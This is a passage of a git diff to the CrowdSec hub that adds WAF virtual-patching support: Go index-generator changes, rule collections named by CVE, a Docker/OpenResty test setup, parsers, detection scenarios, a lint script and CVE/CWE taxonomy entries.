@@ -6,7 +6,6 @@ import (
"flag"
"fmt"
"io"
- "io/ioutil"
"log"
"os"
@@ -27,6 +26,8 @@ type typeInfo struct {
Parsers []string `json:"parsers,omitempty"`
PostOverflows []string `json:"postoverflows,omitempty"`
Scenarios []string `json:"scenarios,omitempty"`
+ AppsecRules []string `json:"appsec-rules,omitempty"`
+ AppsecConfigs []string `json:"appsec-configs,omitempty"`
Collections []string `json:"collections,omitempty"`
}
@@ -38,6 +39,8 @@ type fileInfo struct {
Parsers []string `yaml:"parsers,omitempty"`
PostOverflows []string `yaml:"postoverflows,omitempty"`
Scenarios []string `yaml:"scenarios,omitempty"`
+ AppsecRules []string `yaml:"appsec-rules,omitempty"`
+ AppsecConfigs []string `yaml:"appsec-configs,omitempty"`
Collections []string `yaml:"collections,omitempty"`
}
@@ -46,17 +49,12 @@ type versionInfo struct {
Deprecated bool `json:"deprecated"`
}
-const (
- parsersFolder = "parsers/"
- scenariosFolder = "scenarios/"
- postoverflowsFolder = "postoverflows/"
- collectionsFolder = "collections/"
-)
-
var types = []string{
"parsers",
"scenarios",
"postoverflows",
+ "appsec-rules",
+ "appsec-configs",
"collections",
}
@@ -93,7 +91,7 @@ func main() {
flag.Parse()
if target == "all" || target == "configs" {
- if generate == true {
+ if generate {
for _, t := range types {
configType, err := generateIndex(t)
if err != nil {
@@ -103,7 +101,7 @@ func main() {
}
} else {
// update .index file
- f, _ := ioutil.ReadFile(inputFile)
+ f, _ := os.ReadFile(inputFile)
_ = json.Unmarshal([]byte(f), &tmpIdx)
@@ -116,12 +114,12 @@ func main() {
if err != nil {
panic(err)
}
- if err := ioutil.WriteFile(outFile, json, 0644); err != nil {
+ if err := os.WriteFile(outFile, json, 0644); err != nil {
log.Fatalf("failed writting new json index : %s", err)
}
/*Check if the generated index is correct*/
- indexContent, err := ioutil.ReadFile(outFile)
+ indexContent, err := os.ReadFile(outFile)
if err != nil {
log.Fatalf("Unable to read index : %v", err)
}
@@ -151,6 +149,4 @@ func main() {
log.Fatalf("failed to dump new json file : %s", err)
}
}
- return
-
}
diff --git a/collections/crowdsecurity/appsec-crs.md b/collections/crowdsecurity/appsec-crs.md
new file mode 100644
index 00000000000..fa5c0a41b7c
--- /dev/null
+++ b/collections/crowdsecurity/appsec-crs.md
@@ -0,0 +1,2 @@
+# ModSecurity CRS
+
diff --git a/collections/crowdsecurity/appsec-crs.yaml b/collections/crowdsecurity/appsec-crs.yaml
new file mode 100644
index 00000000000..304ff6db0e1
--- /dev/null
+++ b/collections/crowdsecurity/appsec-crs.yaml
@@ -0,0 +1,13 @@
+parsers:
+ - crowdsecurity/appsec-logs
+appsec-configs:
+ - crowdsecurity/crs
+appsec-rules:
+ - crowdsecurity/crs
+description: "Appsec: Modsecurity core rule set rules"
+author: crowdsecurity
+tags:
+ - linux
+ - http
+ - appsec
+ - modsecurity
diff --git a/collections/crowdsecurity/appsec-virtual-patching.md b/collections/crowdsecurity/appsec-virtual-patching.md
new file mode 100644
index 00000000000..f7d38651500
--- /dev/null
+++ b/collections/crowdsecurity/appsec-virtual-patching.md
@@ -0,0 +1,3 @@
+# AppSec Virtual Patching
+
+This collection contains virtual patching for commonly exploited vulnerabilities, and is inspired from the [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog). The goal is to provide virtual patching capabilities for the often exploited vulnerabilities, avoiding false positives while catching pople scouting your applications for juicy vulnerabilities.
diff --git a/collections/crowdsecurity/appsec-virtual-patching.yaml b/collections/crowdsecurity/appsec-virtual-patching.yaml
new file mode 100644
index 00000000000..74a714f457b
--- /dev/null
+++ b/collections/crowdsecurity/appsec-virtual-patching.yaml
@@ -0,0 +1,32 @@
+name: crowdsecurity/appsec-virtual-patching
+appsec-rules:
+ - crowdsecurity/base-config
+ - crowdsecurity/vpatch-env-access
+ - crowdsecurity/vpatch-CVE-2023-40044
+ - crowdsecurity/vpatch-CVE-2017-9841
+ - crowdsecurity/vpatch-CVE-2020-11738
+ - crowdsecurity/vpatch-CVE-2022-27926
+ - crowdsecurity/vpatch-CVE-2022-35914
+ - crowdsecurity/vpatch-CVE-2022-46169
+ - crowdsecurity/vpatch-CVE-2023-20198
+ - crowdsecurity/vpatch-CVE-2023-22515
+ - crowdsecurity/vpatch-CVE-2023-33617
+ - crowdsecurity/vpatch-CVE-2023-34362
+ - crowdsecurity/vpatch-CVE-2023-3519
+ - crowdsecurity/vpatch-CVE-2023-42793
+ - crowdsecurity/vpatch-CVE-2023-50164
+ - crowdsecurity/vpatch-CVE-2023-38205
+ - crowdsecurity/vpatch-CVE-2023-24489
+ - crowdsecurity/vpatch-CVE-2021-3129
+ - crowdsecurity/vpatch-CVE-2021-22941
+ - crowdsecurity/vpatch-CVE-2019-12989
+ - crowdsecurity/vpatch-CVE-2022-44877
+appsec-configs:
+ - crowdsecurity/virtual-patching
+parsers:
+ - crowdsecurity/appsec-logs
+scenarios:
+ - crowdsecurity/appsec-vpatch
+description: "a generic virtual patching collection, suitable for most web servers."
+author: crowdsecurity
+
diff --git a/docker/appsec/Dockerfile b/docker/appsec/Dockerfile
new file mode 100644
index 00000000000..5ebd2c10f6e
--- /dev/null
+++ b/docker/appsec/Dockerfile
@@ -0,0 +1,28 @@
+FROM ubuntu:22.04
+
+# Install dependencies
+RUN apt-get update && apt-get install -y \
+ git \
+ make \
+ software-properties-common \
+ wget \
+ gnupg \
+ ca-certificates \
+ gettext
+
+RUN wget -O - https://openresty.org/package/pubkey.gpg | apt-key add -
+RUN echo "deb http://openresty.org/package/ubuntu $(lsb_release -sc) main"| tee /etc/apt/sources.list.d/openresty.list
+
+RUN apt-get update
+
+RUN apt-get install -y openresty
+
+# Install the bouncer
+COPY build.sh /build.sh
+COPY start.sh /start.sh
+
+RUN chmod +x /build.sh && /build.sh
+RUN chmod +x /start.sh
+
+# Set the script as the entrypoint
+ENTRYPOINT ["/start.sh"]
\ No newline at end of file
diff --git a/docker/appsec/build.sh b/docker/appsec/build.sh
new file mode 100644
index 00000000000..b6b61fa858a
--- /dev/null
+++ b/docker/appsec/build.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+set -e
+
+# clone the repo
+git clone https://github.com/crowdsecurity/cs-openresty-bouncer.git
+cd cs-openresty-bouncer
+
+# tmp until we merge
+git checkout waf_integration
+
+# make the release
+make release
+tar xzvf crowdsec-openresty-bouncer.tgz
+cd crowdsec-openresty-bouncer-v*
+
+# install the bouncer
+./install.sh -y
+
+
+
diff --git a/docker/appsec/docker-compose.yaml b/docker/appsec/docker-compose.yaml
new file mode 100644
index 00000000000..6bbf5da529b
--- /dev/null
+++ b/docker/appsec/docker-compose.yaml
@@ -0,0 +1,12 @@
+version: "3.8"
+services:
+ target:
+ build: .
+ environment:
+ - API_URL=http://127.0.0.1:8181
+ - API_KEY=this_is_a_bad_password
+ - APPSEC_URL=http://127.0.0.1:4241
+ volumes:
+ - ./nginx.conf:/usr/local/openresty/nginx/conf/nginx.conf
+ network_mode: "host"
+
diff --git a/docker/appsec/nginx.conf b/docker/appsec/nginx.conf
new file mode 100644
index 00000000000..52b555828d3
--- /dev/null
+++ b/docker/appsec/nginx.conf
@@ -0,0 +1,37 @@
+
+worker_processes 4;
+
+events {
+ worker_connections 1024;
+}
+
+http {
+ include mime.types;
+ default_type application/octet-stream;
+ sendfile on;
+ keepalive_timeout 65;
+
+ access_log /dev/stdout;
+ error_log /dev/stderr;
+
+ resolver 127.0.0.11;
+
+ include /usr/local/openresty/nginx/conf/conf.d/crowdsec_openresty.conf;
+
+ server {
+ listen 7822;
+ server_name localhost;
+
+ location / {
+ root html;
+ index index.html index.htm;
+ }
+
+ error_page 500 502 503 504 /50x.html;
+ location = /50x.html {
+ root html;
+ }
+ }
+
+
+}
\ No newline at end of file
diff --git a/docker/appsec/start.sh b/docker/appsec/start.sh
new file mode 100644
index 00000000000..365515620fb
--- /dev/null
+++ b/docker/appsec/start.sh
@@ -0,0 +1,12 @@
+#!/bin/bash
+set -x
+
+# set the API URL
+sed -i "s@API_KEY=.*@API_KEY=${API_KEY}@" /etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf
+sed -i "s@API_URL=.*@API_URL=${API_URL}@" /etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf
+echo "APPSEC_URL=${APPSEC_URL}" | tee -a /etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf
+
+cat /etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf
+
+# Start OpenResty
+exec openresty -g 'daemon off;'
\ No newline at end of file
diff --git a/generate.go b/generate.go
index 7f7c1878d57..76358e0e6e0 100644
--- a/generate.go
+++ b/generate.go
@@ -3,7 +3,6 @@ package main
import (
"encoding/base64"
"fmt"
- "io/ioutil"
"log"
"os"
"path"
@@ -14,14 +13,14 @@ import (
"gopkg.in/yaml.v2"
)
-func inSlice(s string, slice []string) bool {
- for _, str := range slice {
- if str == s {
- return true
- }
- }
- return false
-}
+const (
+ PARSER_TYPE = "parsers"
+ SCENARIO_TYPE = "scenarios"
+ POSTOVERFLOW_TYPE = "postoverflows"
+ APPSEC_RULES_TYPE = "appsec-rules"
+ APPSEC_CONFIGS_TYPE = "appsec-configs"
+ COLLECTIONS_TYPE = "collections"
+)
func (ti *typeInfo) generate(filepath string, configType string) (string, error) {
pathSplit := strings.Split(filepath, "/")
@@ -39,28 +38,25 @@ func (ti *typeInfo) generate(filepath string, configType string) (string, error)
// set user, stage and config name
var user string
var configName string
- if configType == "parsers" || configType == "postoverflows" {
+
+ switch configType {
+ case PARSER_TYPE, POSTOVERFLOW_TYPE:
if len(pathSplit) != 3 {
- return "", fmt.Errorf("invalid filepath '%s', should be : './%s///'", configType, filepath)
+ return "", fmt.Errorf("invalid filepath '%s', should be : './%s//'", configType, filepath)
}
ti.Stage = pathSplit[0]
user = pathSplit[1]
configName = pathSplit[2]
configName = strings.Split(configName, ".")[0]
- } else if configType == "scenarios" {
- if len(pathSplit) != 2 {
- return "", fmt.Errorf("invalid filepath '%s', should be : './scenarios//'", filepath)
- }
- user = pathSplit[0]
- configName = pathSplit[1]
- configName = strings.Split(configName, ".")[0]
- } else if configType == "collections" {
+ case SCENARIO_TYPE, APPSEC_RULES_TYPE, APPSEC_CONFIGS_TYPE, COLLECTIONS_TYPE:
if len(pathSplit) != 2 {
- return "", fmt.Errorf("invalid filepath '%s', should be : './collections//'", filepath)
+ return "", fmt.Errorf("invalid filepath '%s', should be : './%s//'", configType, filepath)
}
user = pathSplit[0]
configName = pathSplit[1]
configName = strings.Split(configName, ".")[0]
+ default:
+ return "", fmt.Errorf("invalid config type '%s'", configType)
}
// set the filepath
@@ -72,7 +68,7 @@ func (ti *typeInfo) generate(filepath string, configType string) (string, error)
/* Get description, author and references from the file */
var fInfo fileInfo
- yamlFile, err := ioutil.ReadFile(filepath)
+ yamlFile, err := os.ReadFile(filepath)
if err != nil {
return "", err
}
@@ -123,6 +119,16 @@ func (ti *typeInfo) generate(filepath string, configType string) (string, error)
} else {
ti.Collections = nil
}
+ if len(fInfo.AppsecRules) > 0 {
+ ti.AppsecRules = fInfo.AppsecRules
+ } else {
+ ti.AppsecRules = nil
+ }
+ if len(fInfo.AppsecConfigs) > 0 {
+ ti.AppsecConfigs = fInfo.AppsecConfigs
+ } else {
+ ti.AppsecConfigs = nil
+ }
}
// versions informations (digest and deprecated for each version)
@@ -162,7 +168,7 @@ func (ti *typeInfo) generate(filepath string, configType string) (string, error)
hubName := fmt.Sprintf("%s/%s", user, configName)
/*if we're all good, check if markdown documentation exists and join it*/
//pdocpath
- mdFile, err := ioutil.ReadFile(pdocpath)
+ mdFile, err := os.ReadFile(pdocpath)
if err == nil {
ti.LongDescription = base64.StdEncoding.EncodeToString([]byte(string(mdFile)))
}
@@ -193,7 +199,7 @@ func generateIndex(configType string) (map[string]typeInfo, error) {
var err error
hubName, err = info.generate(filepath, configType)
if err != nil {
- fmt.Printf("skipping '%s' because : %s\n", filepath, err.Error())
+ fmt.Printf("skipping '%s' for index generation because : %s\n", filepath, err.Error())
} else {
tInfo[hubName] = info
}
diff --git a/parsers/s01-parse/crowdsecurity/appsec-logs.yaml b/parsers/s01-parse/crowdsecurity/appsec-logs.yaml
new file mode 100644
index 00000000000..185d5bf54fe
--- /dev/null
+++ b/parsers/s01-parse/crowdsecurity/appsec-logs.yaml
@@ -0,0 +1,27 @@
+onsuccess: next_stage
+format: 3.0
+#debug: true
+filter: "evt.Parsed.program == 'appsec'"
+name: crowdsecurity/appsec-logs
+description: "Parse Appsec events"
+statics:
+ - meta: service
+ value: appsec
+ - meta: source_ip
+ expression: "evt.Parsed.source_ip"
+ - meta: target_host
+ expression: "evt.Parsed.target_host"
+ - meta: request_uuid
+ expression: "evt.Parsed.req_uuid"
+ - meta: target_uri
+ expression: "evt.Parsed.target_uri"
+#was the request blocked ?
+ - meta: log_type
+ expression: |
+ evt.Appsec.HasInBandMatches ? "appsec-block" : "appsec-info"
+ - meta: rule_name
+ expression: evt.Appsec.GetName()
+ - meta: rule_ids
+ expression: Sprintf("%+v", evt.Appsec.GetRuleIDs())
+ - meta: remediation_cmpt_ip
+ expression: "evt.Parsed.remediation_cmpt_ip"
diff --git a/parsers/s01-parse/crowdsecurity/caddy-logs.yaml b/parsers/s01-parse/crowdsecurity/caddy-logs.yaml
index 4f922c969fb..c311188198b 100644
--- a/parsers/s01-parse/crowdsecurity/caddy-logs.yaml
+++ b/parsers/s01-parse/crowdsecurity/caddy-logs.yaml
@@ -1,6 +1,5 @@
filter: "evt.Parsed.program startsWith 'caddy' && UnmarshalJSON(evt.Parsed.message, evt.Unmarshaled, 'caddy') in ['', nil]"
onsuccess: next_stage
-debug: true
name: crowdsecurity/caddy-logs
description: "Parse caddy logs"
statics:
diff --git a/parsers/s01-parse/crowdsecurity/palo-alto-threat-log.yaml b/parsers/s01-parse/crowdsecurity/palo-alto-threat-log.yaml
index 40561328905..8c271e116f2 100644
--- a/parsers/s01-parse/crowdsecurity/palo-alto-threat-log.yaml
+++ b/parsers/s01-parse/crowdsecurity/palo-alto-threat-log.yaml
@@ -1,5 +1,4 @@
onsuccess: next_stage
-debug: true
name: crowdsecurity/palo-alto-threat-log
description: "Parse palo-alto-threat-log logs"
filter: "evt.Parsed.program == 'palo-alto-threat'"
diff --git a/scenarios/crowdsecurity/appsec-vpatch.yaml b/scenarios/crowdsecurity/appsec-vpatch.yaml
new file mode 100644
index 00000000000..88e28ba4fcb
--- /dev/null
+++ b/scenarios/crowdsecurity/appsec-vpatch.yaml
@@ -0,0 +1,19 @@
+type: leaky
+format: 3.0
+name: crowdsecurity/appsec-vpatch
+description: "Detect appsec attacks"
+filter: "evt.Meta.log_type == 'appsec-block'"
+distinct: evt.Meta.rule_name
+leakspeed: "60s"
+capacity: 1
+groupby: evt.Meta.source_ip
+blackhole: 1m
+labels:
+ service: http
+ confidence: 3
+ spoofable: 0
+ classification:
+ - attack.T1110
+ label: "appsec blocked"
+ behavior: "http:exploit"
+ remediation: true
diff --git a/scenarios/crowdsecurity/crowdsec-appsec-inband.yaml b/scenarios/crowdsecurity/crowdsec-appsec-inband.yaml
new file mode 100644
index 00000000000..a0c37115e0f
--- /dev/null
+++ b/scenarios/crowdsecurity/crowdsec-appsec-inband.yaml
@@ -0,0 +1,19 @@
+type: leaky
+filter: evt.Parsed.program == 'crowdsec-appsec' && evt.Appsec.HasInBandMatches == true && evt.Parsed.action in ["deny", "drop"]
+#debug: true
+name: crowdsecurity/crowdsec-appsec-inband
+description: IP has triggered multiples In Band CrowdSec appsec rules
+blackhole: 1m
+leakspeed: 30s
+capacity: 1
+groupby: evt.Meta.source_ip
+distinct: evt.Appsec.GetName()
+labels:
+ confidence: 3
+ spoofable: 0
+ classification:
+ - attack.T1190
+ behavior: "http:exploit"
+ label: "Triggered multiple inband CrowdSec appsec rules"
+ service: http
+ remediation: true
diff --git a/scenarios/crowdsecurity/crowdsec-appsec-outofband.yaml b/scenarios/crowdsecurity/crowdsec-appsec-outofband.yaml
new file mode 100644
index 00000000000..a638dc36999
--- /dev/null
+++ b/scenarios/crowdsecurity/crowdsec-appsec-outofband.yaml
@@ -0,0 +1,51 @@
+# just count distinct number of requests getting blocked
+type: leaky
+filter: evt.Parsed.program == 'crowdsec-waap' && evt.Appsec.HasInBandMatches == false && evt.Parsed.action in ["deny", "drop"]
+name: crowdsecurity/crowdsec-appsec-outofband
+description: IP has triggered more than 5 CrowdSec Out Of Band Waap rules
+blackhole: 2m
+leakspeed: 30s
+capacity: 5
+labels:
+ type: exploit
+ remediation: true
+groupby: "evt.Meta.source_ip"
+#---
+# at least requests blocked on 3 distinct URIs
+#type: leaky
+#debug: true
+#filter: evt.Parsed.program == 'crowdsec-waap' && evt.Parsed.action == "deny"
+#name: crowdsecurity/waf-probing
+#description: "WAF probing"
+#blackhole: 2m
+#leakspeed: 60s
+#capacity: 5
+#groupby: "evt.Meta.source_ip + evt.Parsed.target_uri"
+#labels:
+# type: exploit
+# remediation: true
+#---
+# # at least 5 requests blocked with **distinct** IDs
+#type: conditional
+#debug: true
+#name: crowdsecurity/xss-probing
+#description: at least 5 different XSS rules
+#filter: evt.Parsed.program == 'crowdsec-waap' && evt.Parsed.action == "deny"
+#condition: len( distinct( merge( all(evt.Queue, { #.Waap.GetIDs()}) ) ) ) > 5
+#condition: |
+# LogInfo("%+v", FlattenDistinct(
+# map( queue.Queue,
+# #.Waap.ByTagRx(".*xss.*").GetRuleIDs()
+# )
+# )) &&
+# len(
+# FlattenDistinct(
+# map( queue.Queue,
+# #.Waap.ByTagRx(".*xss.*").GetRuleIDs()
+# )
+# )) > 5
+#condition: 'Distance("aa", "bb", "cc", { #.Parsed.toto == 1 })'
+#capacity: -1
+#cache_size: 1000
+#leakspeed: 30s
+#distinct: evt.Meta.source_ip
\ No newline at end of file
diff --git a/scripts/.scenariosignore b/scripts/.scenariosignore
index 6a9041e08ef..e4296b3ba6b 100644
--- a/scripts/.scenariosignore
+++ b/scripts/.scenariosignore
@@ -3,3 +3,5 @@ crowdsecurity/postscreen-rbl
crowdsecurity/postfix-spam
crowdsecurity/palo-alto-threat
crowdsecurity/exim-spam
+crowdsecurity/base-config
+crowdsecurity/crs
\ No newline at end of file
diff --git a/scripts/appsec_vpatch_lint.py b/scripts/appsec_vpatch_lint.py
new file mode 100644
index 00000000000..71c21de26a3
--- /dev/null
+++ b/scripts/appsec_vpatch_lint.py
@@ -0,0 +1,99 @@
+import os
+import yaml
+import argparse
+from yaml.loader import SafeLoader
+
+VPATCH_COLLECTION_FILEPATH = "./collections/crowdsecurity/appsec-virtual-patching.yaml"
+VPATCH_COLLECTION_NAME = "crowdsecurity/appsec-virtual-patching"
+WORKFLOW_FILEPATH = ".github/workflows/appsec_vpatch_lint.yaml"
+SCRIPT_FILEPATH = "scripts/appsec_vpatch_lint.py"
+author = os.environ.get("AUTHOR", "ghost")
+
+INTRO_STR = f"""
+Hello @{author} and thank you for your contribution!
+
+It seems that the following scenarios are not part of the '{VPATCH_COLLECTION_NAME}' collection:
+
+"""
+
+OK_STR = f"""
+Hello @{author},
+
+The new VPATCH Rule is compliant, thank you for your contribution!
+"""
+
+
+def main():
+ args = parse_args()
+ if args.hub == "":
+ print("[-] Please provide the hub path with the --hub argument")
+ sys.exit(1)
+
+ changed_files = os.environ.get("changed_files", "").split(",")
+ if (
+ changed_files == [""]
+ or WORKFLOW_FILEPATH
+ in changed_files # if the workflow file has been modified, we want to run the script on all rules
+ or SCRIPT_FILEPATH
+ in changed_files # if the script has been modified, we want to run it on all rules
+ ):
+ changed_files = []
+ print("[-] No changed files found, run on all files.")
+ else:
+ print("[+] Changed files: {}".format(changed_files))
+
+ vpatch_collection = yaml.load(
+ open(VPATCH_COLLECTION_FILEPATH, "r"), Loader=SafeLoader
+ )
+ vpatch_collection_rules = vpatch_collection["appsec-rules"]
+ missing_rules = list()
+
+ hub_appsecrules_path = os.path.join(args.hub, "appsec-rules")
+ for r, d, f in os.walk(hub_appsecrules_path):
+ for file in f:
+ if file.endswith(".yaml") or file.endswith(".yml"):
+ if len(changed_files) == 0 or (
+ len(changed_files) > 0 and file in changed_files
+ ):
+ if not file.startswith("vpatch-"):
+ continue
+ f = open(os.path.join(r, file), "r")
+ data = list(yaml.load_all(f, Loader=SafeLoader))
+ print("[*] Processing rule '{}'".format(file))
+ for rule in data:
+ if rule["name"] not in vpatch_collection_rules:
+ missing_rules.append(rule["name"])
+
+ f = open(args.errors, "w")
+ if len(missing_rules) > 0:
+ f.write(INTRO_STR)
+ for rule in missing_rules:
+ f.write("**{}**\n".format(rule))
+ else:
+ f.write(OK_STR)
+
+ f.close()
+
+
+def parse_args():
+ parser = argparse.ArgumentParser(
+ description="Generate CrowdSec Scenarios taxonomy file"
+ )
+ parser.add_argument("--hub", type=str, help="Hub folder path", default=".")
+ parser.add_argument(
+ "-e",
+ "--errors",
+ type=str,
+ help="Output errors file path",
+ default="./appsec_vpatch_cve_error.md",
+ )
+
+ parser.add_argument(
+ "-v", "--verbose", action="store_true", help="Verbose mode", default=False
+ )
+
+ return parser.parse_args()
+
+
+if __name__ == "__main__":
+ main()
diff --git a/scripts/scenario_taxonomy.py b/scripts/scenario_taxonomy.py
index a656b80ed0c..fb53ff8ee22 100644
--- a/scripts/scenario_taxonomy.py
+++ b/scripts/scenario_taxonomy.py
@@ -6,15 +6,17 @@
import yaml
import argparse
from yaml.loader import SafeLoader
+from itertools import chain
CVE_RE = re.compile(r"CVE-\d{4}-\d{4,7}")
+CWE_RE = re.compile(r"CWE-\d{2,6}")
author = os.environ.get("AUTHOR", "ghost")
OK_STR = f"""
Hello @{author},
-Scenarios are compliant with the taxonomy, thank you for your contribution!
+Scenarios/AppSec Rule are compliant with the taxonomy, thank you for your contribution!
"""
INTRO_STR = f"""
@@ -23,7 +25,7 @@
I'm a bot that helps maintainers to validate scenarios and ensure they include all the required information.
I've found some errors in your scenarios, please fix them and re-submit your PR, or ask for help if you need it.
-The following scenarios have errors:
+The following items have errors:
"""
@@ -128,6 +130,26 @@ def get_mitre_techniques_from_label(labels, mitre_data):
return ret, errors
+def get_cwe_from_label(labels):
+ ret = list()
+ errors = list()
+ if "classification" not in labels:
+ return ret, errors
+
+ for classification in labels["classification"]:
+ split_cwe = classification.split(".")
+ if split_cwe[0] != "cwe":
+ continue
+ cwe = split_cwe[1].upper()
+
+ if CWE_RE.match(cwe) == None:
+ errors.append("bad CWE format: {}".format(cwe))
+ continue
+ ret.append(cwe)
+
+ return ret, errors
+
+
def get_cve_from_label(labels):
ret = list()
errors = list()
@@ -165,7 +187,7 @@ def main():
stats = {"scenarios_ok": [], "scenarios_nok": [], "mitre": [], "behaviors": []}
hub_scenarios_path = os.path.join(args.hub, "scenarios")
-
+ hub_appsecrules_path = os.path.join(args.hub, "appsec-rules")
ignore_list = list()
if os.path.exists(args.ignore):
ignore_list = open(args.ignore).read().split("\n")
@@ -174,7 +196,9 @@ def main():
scenarios_taxonomy = dict()
filepath_list = []
- for r, d, f in os.walk(hub_scenarios_path):
+ for r, d, f in chain.from_iterable(
+ os.walk(path) for path in [hub_scenarios_path, hub_appsecrules_path]
+ ):
for file in f:
if file.endswith(".yaml") or file.endswith(".yml"):
filepath_list.append(os.path.join(r, file))
@@ -183,6 +207,7 @@ def main():
cpt = 0
mitres = dict()
for filepath in filepath_list:
+ print("[+] Processing {}".format(filepath))
f = open(filepath, "r")
data = list(yaml.load_all(f, Loader=SafeLoader))
@@ -209,7 +234,6 @@ def main():
if len(mitre_techniques) == 0:
scenario_errors.append("`attack` not found in labels.classification")
-
service = labels.get("service", None)
for m in mitre_techniques:
@@ -229,6 +253,8 @@ def main():
cves, cves_errors = get_cve_from_label(labels)
scenario_errors.extend(cves_errors)
+ cwes, cwes_errors = get_cwe_from_label(labels)
+ scenario_errors.extend(cwes_errors)
scenario_label = ""
confidence = 0
@@ -281,6 +307,8 @@ def main():
if len(scenario_errors) > 0 and filepath[2:] in changed_files:
errors[scenario["name"]] = scenario_errors
stats["scenarios_nok"].append(scenario["name"])
+ else:
+ stats["scenarios_ok"].append(scenario["name"])
scenarios_taxonomy[scenario["name"]] = {
"name": scenario["name"],
@@ -294,10 +322,10 @@ def main():
"service": service,
}
- stats["scenarios_ok"].append(scenario["name"])
-
if len(cves) > 0:
scenarios_taxonomy[scenario["name"]]["cves"] = cves
+ if len(cwes) > 0:
+ scenarios_taxonomy[scenario["name"]]["cwes"] = cwes
f = open(args.output, "w")
f.write(json.dumps(scenarios_taxonomy, indent=2))
diff --git a/taxonomy/scenarios.json b/taxonomy/scenarios.json
index 7c9c8963edc..c7a52a70399 100644
--- a/taxonomy/scenarios.json
+++ b/taxonomy/scenarios.json
@@ -1,4 +1,441 @@
{
+ "crowdsecurity/vpatch-CVE-2017-9841": {
+ "name": "crowdsecurity/vpatch-CVE-2017-9841",
+ "description": "Detect CVE-2017-9841 exploits ",
+ "label": "PHPUnit RCE (CVE-2017-9841)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2017-9841"
+ ],
+ "cwes": [
+ "CWE-94"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2019-12989": {
+ "name": "crowdsecurity/vpatch-CVE-2019-12989",
+ "description": "Detect CVE-2019-12989 exploits ",
+ "label": "citrix SQLi (CVE-2019-12989)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2019-12989"
+ ],
+ "cwes": [
+ "CWE-89"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2020-11738": {
+ "name": "crowdsecurity/vpatch-CVE-2020-11738",
+ "description": "Detect CVE-2020-11738 exploits ",
+ "label": "Wordpress Snap Creek Duplicator (CVE-2020-11738)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2020-11738"
+ ],
+ "cwes": [
+ "CWE-22"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2021-22941": {
+ "name": "crowdsecurity/vpatch-CVE-2021-22941",
+ "description": "Detect CVE-2021-22941 exploits ",
+ "label": "Citrix RCE (CVE-2021-22941)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2021-22941"
+ ],
+ "cwes": [
+ "CWE-284"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2021-3129": {
+ "name": "crowdsecurity/vpatch-CVE-2021-3129",
+ "description": "Detect CVE-2021-3129 exploits ",
+ "label": "Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution (CVE-2021-3129)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2021-3129"
+ ],
+ "cwes": [
+ "CWE-98"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2022-27926": {
+ "name": "crowdsecurity/vpatch-CVE-2022-27926",
+ "description": "Detect CVE-2022-27926 exploits ",
+ "label": "Zimbra Collaboration (ZCS) - Cross Site Scripting (CVE-2022-27926)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2022-27926"
+ ],
+ "cwes": [
+ "CWE-79"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2022-35914": {
+ "name": "crowdsecurity/vpatch-CVE-2022-35914",
+ "description": "Detect CVE-2022-35914 exploits ",
+ "label": "GLPI <=10.0.2 - Remote Command Execution (CVE-2022-35914)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2022-35914"
+ ],
+ "cwes": [
+ "CWE-74"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2022-44877": {
+ "name": "crowdsecurity/vpatch-CVE-2022-44877",
+ "description": "Detect CVE-2022-44877 exploits ",
+ "label": "CentOS Web Panel 7 RCE (CVE-2022-44877)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2022-44877"
+ ],
+ "cwes": [
+ "CWE-78"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2022-46169": {
+ "name": "crowdsecurity/vpatch-CVE-2022-46169",
+ "description": "Detect CVE-2022-46169 exploits ",
+ "label": "Cacti <=1.2.22 - Remote Command Injection (CVE-2022-46169)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
